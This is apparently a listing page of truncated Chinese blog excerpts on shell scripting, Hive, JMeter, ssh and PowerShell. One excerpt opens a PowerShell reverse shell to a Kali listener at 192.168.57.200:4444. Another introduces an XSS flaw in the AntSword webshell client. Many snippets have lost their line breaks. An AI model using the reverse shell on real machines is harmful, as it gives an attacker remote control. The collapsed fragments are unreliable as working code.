首先下载qshell
我是win10,下载的amd64
https://developer.qiniu.com/kodo/tools/1302/qshell?ref=support.qiniu.com#3
配置环境变量
登陆七牛云web端获取到ak sk,因为有些操作涉及到权限问题,所以理解为在qshell中登陆
qshell account ak sk name
ak sk不用多介绍,name就是个名称,随便取一个
操作之后应该会在C:\Users\Administrator 生成一个.qshell文件夹(我只是在这里记录一下,这句话没啥意义)
账户管理
使用qshell user子命令...
hive里面有个hive -e 命令可以传参数,但是当hql语句多了以后,整个shell脚本会显得比较凌乱,当然有人可能会说hive -f可以实现直接调用一个file,bingo的确如此,但是还是有个很大的缺陷,就是这个不能传参数了,不能传参数在实际的工作中是无法忍受的。于是想到了封装一个命令HiveF,既能直接传入file,又能传参数。其实实现很简单,下面就把代码分享出来。当然还不是很完善,抛砖引玉吧。#!/bin/bash. /etc/profilecat $1 > $1....
1、在Test Plan中定义如下三个变量:2、Bean Shell可脚本如下:a、bean shell可以接受传入参数,如下图:${u1} ${u2} ${u3}b、参数可以通过bsh.args[]按顺序提取c、bean shell提供了一个内置变量Parameters,来保存参数的集合3、运行结果:下图中1输入的这两句设置:
ResponseCode = 500;ResponseMessage = "This is a test";
下图中2输入的这两句设置:
log.info(Parameters);
log.info(Label); 十、提取json数据
需求:提取sampl...
shell脚本中的一些函数参数说明如下:#!/bin/bashecho 显示脚本本身: $0echo 显示第一参数: $1echo 显示参数的个数: $#echo 以单个字符串把每个参数连接起来: $*echo 显示脚本当前运行的进程id: $$echo "shift命令可以把参数列表$@中的第一个参数剔除,同时其余的变量向前移一位"shift echo 打印执行"shift"命令之后的第一个参数 $1echo 以参数的形式显示各个参数...
读取多个目录下的本地文件,多个目录通过循环遍历的方式,以参数传递:
#!/bin/bash
i=0while [ $i -lt 10000 ] do echo "i=$i" spark-submit --class com.link.fblx.readFromPath --driver-memory 20G --executor-memory 20G --num-executors 1 --executor-cores 25 --total-executor-cores 25 --jars jsoup-1.8.1.jar /root/sparkdemo_jar.jar file:///home/zl/data/$i/* /test/zl/fblx_link/20190109/output$i ((i++))don...
背景:
需要ssh登录到远程机器上做测试
ssh登录到每台机器,执行相同的命令,特别麻烦,怎么才能省点事?
实现:
把命令写到脚本里,放在机器A上,然后使用如下命令即可。
?ssh $ip? -C "/bin/bash" < /home/test.sh
#!/bin/bash
read -p "请输入起始数:" min
read -p "请输入终止数:" max
if [ $min -gt $max ]
then
echo "起始数大于终止数!"
else
echo -n "随机数:" ;expr $(date +%N) % $[$max - $min + 1] + $min #日期函数生成随机数向最大值和最小值的差加1后取余得到一个随机数,然后加上最小值保证能取到的最小值和最大值
fi原文:http://www.cnblogs.com/duolaameng/p/6138765.html
错误提示:
yarn:无法加载文件 C:\Users\**\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?Li 所在位置 行:1 字符: 1+ yarn -v+ ~~~~ + CategoryInfo : SecurityError: (:) [],PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess
解决办法:
计算机上启动 Windows PowerShell 时,执行策略很可能是 Restricted(默认设置)。...
shell只可以做整数算术运算1、支持的运算符 + 加法 - 减法 * 乘法 / 除法 % 取余2、算术表达式 (1)let 表达式 # let C=$A+$B (2)$((表达式)) # C=$(($A+$B)) (3)$[表达式] # C=$[$A + $B] (4)expr命令 # C=`expr $A + $B` (5)bc命令 # C=`echo "$A+$B" | bc`
1、windows-powershell反弹shellkali作为服务端,windows使用powershell连接kali,并将自己的shell给kaliwindows端
$client = New-Object System.Net.Sockets.TCPClient('192.168.57.200',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $...
#!/usr/bin/bashsource /etc/init.d/functions help_menu(){cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOF}cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOFwhile truedotrap "" HUP INT TSTPread -p "请输入要查看的功能编号:[h显示帮助]" num case $num in ...
shell子串
a=wo love linux .linux makes us happyecho ${a}输出字符串也可以用echo $aecho ${#a}求字符串的长度echo $a |wc -L
expr length “$a”echo “$a” |awk ‘{print length($0)}’echo ${b:2}从0开始,从第二个开始取。
echo ${b:2:3}从2开始,取3个字符。echo $b ====abcdefgabcabcdabcecho ${b#a*c}从开头开始最短匹配长度echo ${b##a*c}从开头开始最长匹配长度echo ${b%a*c}从结尾开始匹配最短匹配长度echo $...
【截取】
一、Linux shell 截取字符变量的前8位,有方法如下:
1.expr substr “$a” 1 8
2.echo $a|awk ‘{print substr(,1,8)}’
3.echo $a|cut -c1-8
4.echo $
5.expr $a : ‘(.\).*’
6.echo $a|dd bs=1 count=8 2>/dev/null123456补充:expr(选项)(参数) expr的常用运算符:+ - * 、 % expr 2 + 3 5来自: http://man.linuxde.net/expr
二、按指定的字符串截取
1、第一种方法:
${varible##*string} 从左向右截取最后一个str...
今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。
一、漏洞成因
蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。
用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。
该信息并没有进行 XSS 保护,因此能够利用 js 调...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~1:使用 expr 外部程式加法 r=`expr 4 + 5`echo $r注意! ‘4‘ ‘+‘ ‘5‘ 这三者之间要有空白r=`expr 4 * 5` #错误乘法 r=`expr 4 \* 5`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~2:使用 $(( ))r=$(( 4 + 5 ))echo $r~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~3:使用 $[ ]r=$[ 4 + 5 ]echo $r乘法r=`expr 4 \* 5` r=$(( 4 * 5 ))r=$[ 4 * 5 ]echo $r除法r=`expr 40 / 5` r=$(( 40 / 5 ))r=$[ 40 / 5 ]echo...